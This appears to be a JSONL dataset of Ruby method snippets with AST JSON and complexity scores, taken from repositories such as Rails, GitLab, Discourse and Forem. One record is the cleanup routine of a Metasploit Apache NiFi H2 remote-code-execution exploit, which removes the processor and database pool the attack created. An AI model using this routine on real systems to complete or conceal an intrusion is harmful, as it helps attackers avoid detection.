{"repo_name":"discourse","file_path":"./repos/discourse/lib/plugin/instance.rb","start_line":100,"raw_source":"def initialize(metadata = nil, path = nil)\n    @metadata = metadata\n    @path = path\n    @idx = 0\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"metadata\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"path\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@metadata\",{\"type\":\"lvar\",\"children\":[\"metadata\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@path\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@idx\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"c32aeb41-76dc-4793-875a-6582c2b38997"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-data-explorer/app/serializers/discourse_data_explorer/query_group_bookmark_serializer.rb","start_line":32,"raw_source":"def data_explorer_query\n      data_explorer_query_group.query\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"data_explorer_query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data_explorer_query_group\"]},\"query\"]}]}","id":"fa63f05c-964d-46b8-9944-9229f50fb65b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/gpg_helpers.rb","start_line":779,"raw_source":"def primary_keyid\n      fingerprint[-16..]\n    end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"primary_keyid\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fingerprint\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[-16]},null]}]}]}","id":"4d34264b-af80-4149-8fc1-d8d9a49ce335"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/concerns/algolia_searchable/searchable_article.rb","start_line":46,"raw_source":"def indexable_changed?\n      published_changed? || score_changed?\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"indexable_changed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"published_changed?\"]},{\"type\":\"send\",\"children\":[null,\"score_changed?\"]}]}]}","id":"94825e27-7e4a-4e3a-aaf8-f4c49bc91e51"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/lexers/vb.rb","start_line":32,"raw_source":"def self.keywords_type\n        @keywords_type ||= Set.new %w(\n          Boolean Byte Char Date Decimal Double Integer Long Object\n          SByte Short Single String Variant UInteger ULong UShort\n        )\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"keywords_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@keywords_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Boolean\"]},{\"type\":\"str\",\"children\":[\"Byte\"]},{\"type\":\"str\",\"children\":[\"Char\"]},{\"type\":\"str\",\"children\":[\"Date\"]},{\"type\":\"str\",\"children\":[\"Decimal\"]},{\"type\":\"str\",\"children\":[\"Double\"]},{\"type\":\"str\",\"children\":[\"Integer\"]},{\"type\":\"str\",\"children\":[\"Long\"]},{\"type\":\"str\",\"children\":[\"Object\"]},{\"type\":\"str\",\"children\":[\"SByte\"]},{\"type\":\"str\",\"children\":[\"Short\"]},{\"type\":\"str\",\"children\":[\"Single\"]},{\"type\":\"str\",\"children\":[\"String\"]},{\"type\":\"str\",\"children\":[\"Variant\"]},{\"type\":\"str\",\"children\":[\"UInteger\"]},{\"type\":\"str\",\"children\":[\"ULong\"]},{\"type\":\"str\",\"children\":[\"UShort\"]}]}]}]}]}","id":"75be8dfb-fe0f-4f41-a8f7-a44bf9571076"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/git_repository.rb","start_line":251,"raw_source":"def worktree_params\n    params = {:path => directory_name}\n    params[:certificate_check] = method(:self_signed_cert_cb) if verify_ssl == OpenSSL::SSL::VERIFY_NONE\n    if (auth = authentication || default_authentication)\n      params[:username] = auth.userid\n      if auth.auth_key\n        params[:ssh_private_key] = auth.auth_key\n        params[:password] = auth.auth_key_password.presence\n      else\n        params[:password] = auth.password\n      end\n    end\n    params[:proxy_url] = proxy_url if proxy_url?\n    params\n  end","complexity_score":31.4,"ast_json":"{\"type\":\"def\",\"children\":[\"worktree_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[null,\"directory_name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"verify_ssl\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"SSL\"]},\"VERIFY_NONE\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"certificate_check\"]},{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"self_signed_cert_cb\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"auth\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authentication\"]},{\"type\":\"send\",\"children\":[null,\"default_authentication\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]},\"userid\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]},\"auth_key\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"ssh_private_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]},\"auth_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]},\"auth_key_password\"]},\"presence\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]},\"password\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proxy_url?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"proxy_url\"]},{\"type\":\"send\",\"children\":[null,\"proxy_url\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}","id":"58ee0fe4-e623-4d29-9865-6d4a36b229cc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/users/credit_card_validation.rb","start_line":62,"raw_source":"def used_by_banned_user?\n      self.class.by_banned_user.similar_to(self).similar_by_holder_name(holder_name_hash).exists?\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"used_by_banned_user?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"by_banned_user\"]},\"similar_to\",{\"type\":\"self\",\"children\":[]}]},\"similar_by_holder_name\",{\"type\":\"send\",\"children\":[null,\"holder_name_hash\"]}]},\"exists?\"]}]}","id":"411f9b99-00c7-4e38-a889-1968033ccbeb"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/shared_generator_tests.rb","start_line":120,"raw_source":"def test_name_collision_raises_an_error\n    reserved_words = %w[application destroy plugin runner test]\n    reserved_words.each do |reserved|\n      content = capture(:stderr) { run_generator [File.join(destination_root, reserved)] }\n      assert_match(/Invalid \\w+ name #{reserved}\\. Please give a name which does not match one of the reserved rails words: application, destroy, plugin, runner, test\\n/, content)\n    end\n  end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_name_collision_raises_an_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reserved_words\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"application\"]},{\"type\":\"str\",\"children\":[\"destroy\"]},{\"type\":\"str\",\"children\":[\"plugin\"]},{\"type\":\"str\",\"children\":[\"runner\"]},{\"type\":\"str\",\"children\":[\"test\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reserved_words\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reserved\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture\",{\"type\":\"sym\",\"children\":[\"stderr\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"destination_root\"]},{\"type\":\"lvar\",\"children\":[\"reserved\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid \\\\w+ name \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reserved\"]}]},{\"type\":\"str\",\"children\":[\"\\\\. Please give a name which does not match one of the reserved rails words: application, destroy, plugin, runner, test\\\\n\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}]}]}","id":"50773eab-9b70-40d1-b896-94d1b1e16f8e"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/channel/test_case.rb","start_line":337,"raw_source":"def assert_has_no_stream_for(object)\n          assert_has_no_stream(broadcasting_for(object))\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_has_no_stream_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_has_no_stream\",{\"type\":\"send\",\"children\":[null,\"broadcasting_for\",{\"type\":\"lvar\",\"children\":[\"object\"]}]}]}]}","id":"38b51865-9f49-4bfe-93fb-2294223a9711"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/ai/content_moderation_labeler.rb","start_line":156,"raw_source":"def build_article_context\n      <<~ARTICLE_CONTEXT\n        Title: #{@article.title}\n        Tags: #{@article.cached_tag_list}\n        Body: #{@article.body_markdown.truncate(5000)} #{'(Truncated)' if @article.body_markdown.length > 5000}\n        Published: #{@article.published_at&.strftime('%B %d, %Y') || 'Not published'}\n        Reading time: #{@article.reading_time} minutes\n        Word count: #{@article.body_markdown.split.size} words\n      ARTICLE_CONTEXT\n    end","complexity_score":17.5,"ast_json":"{\"type\":\"def\",\"children\":[\"build_article_context\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Title: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@article\"]},\"title\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Tags: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@article\"]},\"cached_tag_list\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Body: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@article\"]},\"body_markdown\"]},\"truncate\",{\"type\":\"int\",\"children\":[5000]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@article\"]},\"body_markdown\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[5000]}]},{\"type\":\"str\",\"children\":[\"(Truncated)\"]},null]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Published: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@article\"]},\"published_at\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%B %d, %Y\"]}]},{\"type\":\"str\",\"children\":[\"Not published\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Reading time: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@article\"]},\"reading_time\"]}]},{\"type\":\"str\",\"children\":[\" minutes\\n\"]},{\"type\":\"str\",\"children\":[\"Word count: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@article\"]},\"body_markdown\"]},\"split\"]},\"size\"]}]},{\"type\":\"str\",\"children\":[\" words\\n\"]}]}]}","id":"e5a3fa06-e950-4d03-9616-7295bc03e7b5"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/route_set.rb","start_line":584,"raw_source":"def polymorphic_path(record_or_hash_or_array, options = {})\n              @_proxy.polymorphic_path(record_or_hash_or_array, options)\n            end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"polymorphic_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record_or_hash_or_array\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@_proxy\"]},\"polymorphic_path\",{\"type\":\"lvar\",\"children\":[\"record_or_hash_or_array\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}","id":"f52f71e8-8df6-493a-8c66-54651944c445"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/apache_nifi_h2_rce.rb","start_line":198,"raw_source":"def cleanup\n    super\n    return unless @cleanup_required\n\n    # Wait for thread to execute - This seems necesarry, especially on Windows\n    # and there is no way I can see of checking whether the thread has executed\n    print_status(\"Waiting #{datastore['DELAY']} seconds before stopping and deleting\")\n    sleep(datastore['DELAY'])\n\n    # Stop Processor\n    stop_processor(@token, @processor)\n    vprint_good(\"Stopped and terminated processor #{@processor}\")\n\n    # Delete processor\n    delete_processor(@token, @processor, 3)\n    vprint_good(\"Deleted processor #{@processor}\")\n    begin\n      stop_dbconnectionpool(@token, @db_con_pool)\n    rescue DBConnectionPoolError\n      fail_with(Failure::UnexpectedReply, 'Unable to stop DB Connection Pool. Manual cleanup is required')\n    end\n    vprint_good(\"Disabled db connection pool #{@db_con_pool}, sleeping #{datastore['DELAY']} seconds to allow the connection to finish disabling\")\n    sleep(datastore['DELAY'])\n    begin\n      delete_dbconnectionpool(@token, @db_con_pool)\n    rescue DBConnectionPoolError\n      fail_with(Failure::UnexpectedReply, 'Unable to delete DB Connection Pool. Manual cleanup is required')\n    end\n    vprint_good(\"Deleted db connection pool #{@db_con_pool}\")\n  end","complexity_score":27.1,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cleanup_required\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Waiting \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DELAY\"]}]}]},{\"type\":\"str\",\"children\":[\" seconds before stopping and deleting\"]}]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DELAY\"]}]}]},{\"type\":\"send\",\"children\":[null,\"stop_processor\",{\"type\":\"ivar\",\"children\":[\"@token\"]},{\"type\":\"ivar\",\"children\":[\"@processor\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Stopped and terminated processor \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@processor\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"delete_processor\",{\"type\":\"ivar\",\"children\":[\"@token\"]},{\"type\":\"ivar\",\"children\":[\"@processor\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Deleted processor \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@processor\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stop_dbconnectionpool\",{\"type\":\"ivar\",\"children\":[\"@token\"]},{\"type\":\"ivar\",\"children\":[\"@db_con_pool\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DBConnectionPoolError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Unable to stop DB Connection Pool. Manual cleanup is required\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Disabled db connection pool \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@db_con_pool\"]}]},{\"type\":\"str\",\"children\":[\", sleeping \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DELAY\"]}]}]},{\"type\":\"str\",\"children\":[\" seconds to allow the connection to finish disabling\"]}]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DELAY\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"delete_dbconnectionpool\",{\"type\":\"ivar\",\"children\":[\"@token\"]},{\"type\":\"ivar\",\"children\":[\"@db_con_pool\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DBConnectionPoolError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Unable to delete DB Connection Pool. Manual cleanup is required\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Deleted db connection pool \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@db_con_pool\"]}]}]}]}]}]}","id":"8f8c5008-26ed-429a-b9d2-80d8564d61c9"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/tag.rb","start_line":76,"raw_source":"def self.update_topic_counts\n    DB.exec <<~SQL\n      UPDATE tags t\n         SET staff_topic_count = x.topic_count\n        FROM (\n             SELECT COUNT(topics.id) AS topic_count, tags.id AS tag_id\n               FROM tags\n          LEFT JOIN topic_tags ON tags.id = topic_tags.tag_id\n          LEFT JOIN topics ON topics.id = topic_tags.topic_id\n                          AND topics.deleted_at IS NULL\n                          AND topics.archetype != 'private_message'\n           GROUP BY tags.id\n        ) x\n       WHERE x.tag_id = t.id\n         AND x.topic_count <> t.staff_topic_count\n    SQL\n\n    DB.exec <<~SQL\n      UPDATE tags t\n      SET public_topic_count = x.topic_count\n      FROM (\n        WITH tags_with_public_topics AS (\n          SELECT\n            COUNT(topics.id) AS topic_count,\n            tags.id AS tag_id\n          FROM tags\n          INNER JOIN topic_tags ON tags.id = topic_tags.tag_id\n          INNER JOIN topics ON topics.id = topic_tags.topic_id AND topics.deleted_at IS NULL AND topics.archetype != 'private_message'\n          INNER JOIN categories ON categories.id = topics.category_id AND NOT categories.read_restricted\n          GROUP BY tags.id\n        )\n        SELECT\n          COALESCE(tags_with_public_topics.topic_count, 0 ) AS topic_count,\n          tags.id AS tag_id\n        FROM tags\n        LEFT JOIN tags_with_public_topics ON tags_with_public_topics.tag_id = tags.id\n      ) x\n      WHERE x.tag_id = t.id\n      AND x.topic_count <> t.public_topic_count;\n    SQL\n\n    DB.exec <<~SQL\n      UPDATE tags t\n         SET pm_topic_count = x.pm_topic_count\n        FROM (\n             SELECT COUNT(topics.id) AS pm_topic_count, tags.id AS tag_id\n               FROM tags\n          LEFT JOIN topic_tags ON tags.id = topic_tags.tag_id\n          LEFT JOIN topics ON topics.id = topic_tags.topic_id\n                          AND topics.deleted_at IS NULL\n                          AND topics.archetype = 'private_message'\n           GROUP BY tags.id\n        ) x\n       WHERE x.tag_id = t.id\n         AND x.pm_topic_count <> t.pm_topic_count\n    SQL\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"update_topic_counts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE tags t\\n\"]},{\"type\":\"str\",\"children\":[\"   SET staff_topic_count = x.topic_count\\n\"]},{\"type\":\"str\",\"children\":[\"  FROM (\\n\"]},{\"type\":\"str\",\"children\":[\"       SELECT COUNT(topics.id) AS topic_count, tags.id AS tag_id\\n\"]},{\"type\":\"str\",\"children\":[\"         FROM tags\\n\"]},{\"type\":\"str\",\"children\":[\"    LEFT JOIN topic_tags ON tags.id = topic_tags.tag_id\\n\"]},{\"type\":\"str\",\"children\":[\"    LEFT JOIN topics ON topics.id = topic_tags.topic_id\\n\"]},{\"type\":\"str\",\"children\":[\"                    AND topics.deleted_at IS NULL\\n\"]},{\"type\":\"str\",\"children\":[\"                    AND topics.archetype != 'private_message'\\n\"]},{\"type\":\"str\",\"children\":[\"     GROUP BY tags.id\\n\"]},{\"type\":\"str\",\"children\":[\"  ) x\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE x.tag_id = t.id\\n\"]},{\"type\":\"str\",\"children\":[\"   AND x.topic_count <> t.staff_topic_count\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE tags t\\n\"]},{\"type\":\"str\",\"children\":[\"SET public_topic_count = x.topic_count\\n\"]},{\"type\":\"str\",\"children\":[\"FROM (\\n\"]},{\"type\":\"str\",\"children\":[\"  WITH tags_with_public_topics AS (\\n\"]},{\"type\":\"str\",\"children\":[\"    SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"      COUNT(topics.id) AS topic_count,\\n\"]},{\"type\":\"str\",\"children\":[\"      tags.id AS tag_id\\n\"]},{\"type\":\"str\",\"children\":[\"    FROM tags\\n\"]},{\"type\":\"str\",\"children\":[\"    INNER JOIN topic_tags ON tags.id = topic_tags.tag_id\\n\"]},{\"type\":\"str\",\"children\":[\"    INNER JOIN topics ON topics.id = topic_tags.topic_id AND topics.deleted_at IS NULL AND topics.archetype != 'private_message'\\n\"]},{\"type\":\"str\",\"children\":[\"    INNER JOIN categories ON categories.id = topics.category_id AND NOT categories.read_restricted\\n\"]},{\"type\":\"str\",\"children\":[\"    GROUP BY tags.id\\n\"]},{\"type\":\"str\",\"children\":[\"  )\\n\"]},{\"type\":\"str\",\"children\":[\"  SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"    COALESCE(tags_with_public_topics.topic_count, 0 ) AS topic_count,\\n\"]},{\"type\":\"str\",\"children\":[\"    tags.id AS tag_id\\n\"]},{\"type\":\"str\",\"children\":[\"  FROM tags\\n\"]},{\"type\":\"str\",\"children\":[\"  LEFT JOIN tags_with_public_topics ON tags_with_public_topics.tag_id = tags.id\\n\"]},{\"type\":\"str\",\"children\":[\") x\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE x.tag_id = t.id\\n\"]},{\"type\":\"str\",\"children\":[\"AND x.topic_count <> t.public_topic_count;\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE tags t\\n\"]},{\"type\":\"str\",\"children\":[\"   SET pm_topic_count = x.pm_topic_count\\n\"]},{\"type\":\"str\",\"children\":[\"  FROM (\\n\"]},{\"type\":\"str\",\"children\":[\"       SELECT COUNT(topics.id) AS pm_topic_count, tags.id AS tag_id\\n\"]},{\"type\":\"str\",\"children\":[\"         FROM tags\\n\"]},{\"type\":\"str\",\"children\":[\"    LEFT JOIN topic_tags ON tags.id = topic_tags.tag_id\\n\"]},{\"type\":\"str\",\"children\":[\"    LEFT JOIN topics ON topics.id = topic_tags.topic_id\\n\"]},{\"type\":\"str\",\"children\":[\"                    AND topics.deleted_at IS NULL\\n\"]},{\"type\":\"str\",\"children\":[\"                    AND topics.archetype = 'private_message'\\n\"]},{\"type\":\"str\",\"children\":[\"     GROUP BY tags.id\\n\"]},{\"type\":\"str\",\"children\":[\"  ) x\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE x.tag_id = t.id\\n\"]},{\"type\":\"str\",\"children\":[\"   AND x.pm_topic_count <> t.pm_topic_count\\n\"]}]}]}]}]}","id":"f1c493bb-d000-430f-91b0-b6f1f8825fd9"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailer/lib/action_mailer/parameterized.rb","start_line":125,"raw_source":"def respond_to_missing?(method, include_all = false)\n          @mailer.respond_to?(method, include_all)\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_to_missing?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"optarg\",\"children\":[\"include_all\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mailer\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"include_all\"]}]}]}","id":"54303a11-73b6-4556-9386-15a2296e899f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240731160142_add_error_tracking_error_events_project_id_fk.rb","start_line":11,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key :error_tracking_error_events, column: :project_id\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"error_tracking_error_events\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]}]}]}]}","id":"79038d44-1bb5-43de-8ca7-a89544460238"}
